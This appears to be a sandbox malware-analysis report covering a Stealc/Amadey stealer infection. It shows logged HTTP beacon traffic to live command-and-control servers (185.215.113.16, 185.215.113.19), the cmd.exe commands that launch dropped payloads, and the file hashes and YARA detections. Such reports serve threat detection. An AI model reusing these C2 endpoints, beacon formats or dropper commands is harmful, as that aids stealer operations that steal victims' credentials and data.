Jul 27, 2024 03:20:56.766347885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49920	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:56.364630938 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:57.164815903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:57.168766975 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:57.429028988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49921	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:56.892632008 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:57.707283020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49922	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:57.550616026 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:58.309283972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:58.313317060 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:58.563088894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49923	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:57.716605902 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:58.470952988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49924	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:58.600665092 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:59.897661924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:59.897741079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:59.897797108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49925	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:58.678519964 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:59.897712946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:59.897769928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:59.897833109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:59.899173975 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:21:00.146644115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:21:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49926	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:59.912535906 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:21:00.661746025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:21:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49928	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:21:00.271888018 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:21:01.010535955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:21:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:21:01.011914015 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:21:01.257390022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:21:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49929	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:21:00.796770096 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:21:01.565876007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:21:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49930	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:21:01.390850067 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:21:02.135548115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:21:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:21:02.137123108 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:21:02.384877920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:21:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49931	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:21:01.583770037 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:21:02.342976093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:21:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49932	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:21:02.468761921 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:21:03.248006105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:21:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	21:19:03
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	0EF35662ABBE44CF6E064CB524B10742
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2386289151.0000000002578000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2386180020.000000000255E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2390137183.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:19:21
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:19:21
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:19:21
Start date:	26/07/2024
Path:	C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"
Imagebase:	0xa80000
File size:	1'910'272 bytes
MD5 hash:	AE367D31031D846711863B026D7E4889
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2373035719.0000000000A81000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2332387044.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:19:23
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJKFHIIEHI.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:19:23
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:19:23
Start date:	26/07/2024
Path:	C:\Users\userIJKFHIIEHI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userIJKFHIIEHI.exe"
Imagebase:	0x570000
File size:	1'931'776 bytes
MD5 hash:	A60C50F8BEE9EC4C4302415C6C3378A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2424174248.0000000000571000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2336215842.0000000004840000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:19:24
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 2344
Imagebase:	0xc70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:19:26
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x8b0000
File size:	1'910'272 bytes
MD5 hash:	AE367D31031D846711863B026D7E4889
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.2390275517.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.2431689835.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:19:26
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0x8b0000
File size:	1'910'272 bytes
MD5 hash:	AE367D31031D846711863B026D7E4889
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.3389689706.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2388154782.0000000005200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	21:19:30
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x6b0000
File size:	1'931'776 bytes
MD5 hash:	A60C50F8BEE9EC4C4302415C6C3378A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2405534163.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2449142736.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:19:34
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	0EF35662ABBE44CF6E064CB524B10742
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
